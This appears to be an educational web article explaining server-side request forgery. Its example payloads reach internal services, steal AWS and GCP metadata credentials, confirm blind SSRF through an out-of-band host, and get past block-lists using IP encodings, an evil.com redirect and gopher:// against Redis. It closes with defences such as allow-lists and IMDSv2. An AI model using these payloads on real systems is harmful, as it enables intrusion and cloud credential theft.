Server-Side Request Forgery (SSRF)

Most bugs let you talk to the server. SSRF lets you make the server talk for you — to places you could never reach yourself. And the server sits inside the trusted network, holding the keys to the kingdom.

Most bugs let you talk to the server. SSRF lets you make the server talk for you — to places you could never reach yourself. And the server sits inside the trusted network, holding the keys to the kingdom.

7 min read Visual + payloads Reaches the cloud metadata

Plenty of apps have an innocent little feature: “give us a URL and we’ll fetch it.” Import a profile picture from a link. Generate a PDF from a web page. Send a webhook. Preview a URL. To do that, the server opens a connection and downloads whatever that URL points to. SSRF is what happens when an attacker controls that URL — and instead of an image, points it at something the server was never meant to request. The twist that makes it deadly: the server is on the inside of the firewall, trusted by internal services, and on a cloud box it can ask the metadata service for the company’s credentials. You don’t breach the network — you borrow the server that’s already in it.

So, what is SSRF — really?

It’s a confused deputy. The server is the deputy: powerful, trusted, sitting in a privileged spot. SSRF tricks it into using that power on your behalf. Normally you → server. With SSRF, you make it server → anywhere, and the server’s requests come from a trusted internal IP, sail past firewalls, and reach things your own packets would be dropped trying to touch.

Anywhere the app takes a URL (or a hostname, or an XML entity, or a webhook target) and fetches it server-side is a candidate. The payload is just… a different URL:

the “fetch a URL” feature, abused
# intended use
POST /import   url=https://example.com/avatar.png

# SSRF — point it inward instead
POST /import   url=http://localhost/admin
POST /import   url=http://169.254.169.254/latest/meta-data/

What SSRF gets you — the three big plays

Same root cause, escalating impact. Each is animated below.

1 — Reaching internal services · the inside view

The first prize is everything that’s “internal only.” Admin panels bound to 127.0.0.1, dashboards on 10.0.0.x, databases and caches with no auth because “only our own servers can reach them.” The app’s fetcher reaches all of it, and in basic (in-band) SSRF the response comes straight back to you. You can also port-scan the internal network by watching which addresses respond.

internal access
url=http://localhost/admin            # internal-only admin panel — now readable
url=http://10.0.0.5:6379/             # unauthenticated Redis on the internal net
url=http://10.0.0.5:8080/actuator/env  # Spring Boot internals, secrets in env

2 — Stealing cloud credentials · the crown jewel

This is the one that turns a small bug into a breach. Every cloud VM has a metadata service at the magic link-local IP 169.254.169.254, reachable only from the instance itself. On AWS it will happily hand out the instance’s temporary IAM credentials. Since the SSRF makes the request from the instance, the metadata service trusts it — and now you’re holding cloud keys.

AWS IMDSv1 credential theft
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → returns the role name, e.g.  app-server-role
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-server-role
# → { "AccessKeyId":"ASIA…", "SecretAccessKey":"…", "Token":"…" }

# GCP: header required →  Metadata-Flavor: Google
url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

3 — Blind SSRF · you can’t see it, but it happened

Often the app fetches your URL but never shows you the response. That’s blind SSRF — and it’s still dangerous. You confirm it out-of-band: point the URL at a server you control (a Burp Collaborator domain) and watch for the incoming DNS/HTTP hit. From there you can map the internal network by timing (an open port answers fast; a filtered one hangs) and trigger state-changing internal requests you never get to read.

blind / out-of-band
url=http://x7q9.oastify.com     # your Collaborator — did the server hit it? SSRF confirmed
url=http://10.0.0.5:22           # fast reply  → port open
url=http://10.0.0.5:81           # hangs/timeout → filtered (infer the network by timing)

Getting past the filter

Most teams’ first instinct is a block-list (“reject localhost and 127.0.0.1”). It almost never holds, because there are a hundred ways to write the same address:

same destination, different spelling
# all of these are 127.0.0.1:
http://2130706433      # decimal
http://0x7f.0.0.1       # hex
http://0177.0.0.1       # octal
http://[::1]  ·  http://0.0.0.0  ·  http://localtest.me

# bypass via redirect — fetcher follows it to the blocked target
http://evil.com/r?to=http://169.254.169.254/latest/meta-data/
# DNS rebinding — passes the check as public, then resolves to 127.0.0.1

And SSRF doesn’t stop at HTTP. If the fetcher allows other schemes, gopher:// lets you craft raw TCP packets — feed line-based commands straight into an unauthenticated Redis or memcached and you can go from SSRF to remote code execution.

The fix

Block-lists lose. The defense is an allow-list plus network-level guardrails — a guard in front of the fetcher that vets every outbound request and refuses the dangerous ones. Watch it stop the metadata attack from above:

How to actually stop SSRFAllow-list the exact destinations the feature needs (scheme + host), then resolve the hostname and re-check the resulting IP before connecting — rejecting 127.0.0.0/8, 10/8, 172.16/12, 192.168/16 and especially 169.254.0.0/16 (link-local). Disable redirects on the fetcher, allow only http/https, fetch through a locked-down egress proxy, and on AWS enforce IMDSv2 (token-required) — that single setting kills naive metadata SSRF.

SSRF at a glance

FlavourWhat you getExample target
Internal (in-band)Read internal-only serviceshttp://localhost/admin
Cloud metadataSteal IAM credentials → cloud takeoverhttp://169.254.169.254/…
Blind / OOBConfirm + map network by timinghttp://you.oastify.com
Scheme abuseSSRF → RCE on internal servicesgopher://127.0.0.1:6379/_…
Net-netSSRF = making a trusted server fetch a URL you choose, so its requests come from inside the network. That gets you internal-only services, and on the cloud the killer move: 169.254.169.254 hands over IAM credentials. Even blind, you confirm it out-of-band and map the network by timing. Block-lists fail (so many ways to write an IP) — the fix is allow-list + re-check the resolved IP + block link-local + IMDSv2.
Reactions

Related Articles